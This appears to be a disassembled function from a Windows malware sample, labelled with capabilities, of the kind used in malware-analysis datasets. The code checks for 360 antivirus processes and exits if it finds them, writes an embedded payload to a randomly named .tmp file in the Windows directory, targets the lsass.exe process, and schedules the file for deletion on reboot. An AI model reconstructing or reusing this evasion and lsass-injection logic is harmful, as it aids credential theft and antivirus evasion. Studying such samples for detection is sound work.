Function at 0x100016d1
Capabilities:
Get common file path
Move file
Print debug messages
Write file on windows

Disassembly:
push 0x2b8
push 0x10025a28
call fcn.10020550
mov edx, str.360Tray.exe
xor ecx, ecx
call fcn.1000465b
test eax, eax
jne 0x10001944
mov edx, str.360sd.exe
xor ecx, ecx
call fcn.1000465b
test eax, eax
jne 0x10001944
xor ebx, ebx
mov byte [ebp - 0x28], bl
lea edi, [ebp - 0x27]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
call fcn.1000b70e
push eax
call fcn.1000b6da
pop ecx
pop ecx
xor esi, esi
call fcn.1000b6ec
cdq
push 0x1a
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + esi - 0x28], dl
inc esi
cmp esi, 8
jb 0x10001725
mov byte [ebp - 0x1bc], bl
mov esi, 0x103
push esi
push ebx
lea eax, [ebp - 0x1bb]
push eax
call fcn.10016310
mov byte [ebp - 0x2c0], bl
push esi
push ebx
lea eax, [ebp - 0x2bf]
push eax
call fcn.10016310
add esp, 0x18
push esi
lea eax, [ebp - 0x2c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c0]
push eax
push str._sTemp_s.tmp
push 0x104
lea eax, [ebp - 0x1bc]
push eax
call fcn.10001985
mov esi, 0x3d090
push esi
call fcn.1000a74f
add esp, 0x18
mov edi, eax
cmp edi, ebx
je 0x10001944
push esi
push ebx
push edi
call fcn.10016310
push esi
push edi
push 0x1c278
push 0x10029218
call fcn.1000a494
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x2c8], ebx
push 0x100237f0
lea eax, [ebp - 0x1bc]
push eax
call fcn.1000b823
add esp, 0x24
mov esi, eax
cmp esi, ebx
je 0x10001944
push esi
push dword [ebp - 0x2c4]
push 1
push edi
call fcn.1000b99c
push esi
call fcn.1000bba8
push esi
call fcn.1000bc7b
push edi
call fcn.1000bcf7
mov byte [ebp - 0x48], bl
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x47]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x28]
push eax
push str._s.tmp
push 0x20
lea eax, [ebp - 0x48]
push eax
call fcn.10001387
lea eax, [ebp - 0x48]
push eax
call fcn.1000bf5c
lea eax, [ebp - 0x48]
push eax
call fcn.10002f00
add esp, 0x34
test eax, eax
je 0x10001902
mov dword [ebp - 0x2c4], ebx
mov edx, str.lsass.exe
lea ecx, [ebp - 0x2c4]
call fcn.1000465b
cmp dword [ebp - 0x2c4], ebx
je 0x10001902
mov dword [ebp - 4], ebx
push dword [ebp - 0x2c4]
lea eax, [ebp - 0x1bc]
push eax
call fcn.1000455e
pop ecx
pop ecx
mov dword [ebp - 0x2c8], eax
cmp eax, ebx
je 0x100018a7
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0xfffffffe
jmp 0x100018c0
mov byte [ebp - 0xb8], bl
push 0x6e
push ebx
lea eax, [ebp - 0xb7]
push eax
call fcn.10016310
push dword [ebp - 0x2c8]
push dword [ebp - 0x2c4]
push str.LsassPID___d_and_Result___d
lea eax, [ebp - 0xb8]
push eax
call fcn.100019a4
add esp, 0x1c
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x80
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
push ebx
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
cmp dword [ebp - 0x2c8], ebx
jne 0x1000193c
push str.cip_init_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.1000311a
mov eax, dword [ebp - 0x2c8]
jmp 0x10001946
xor eax, eax
call fcn.10020598
ret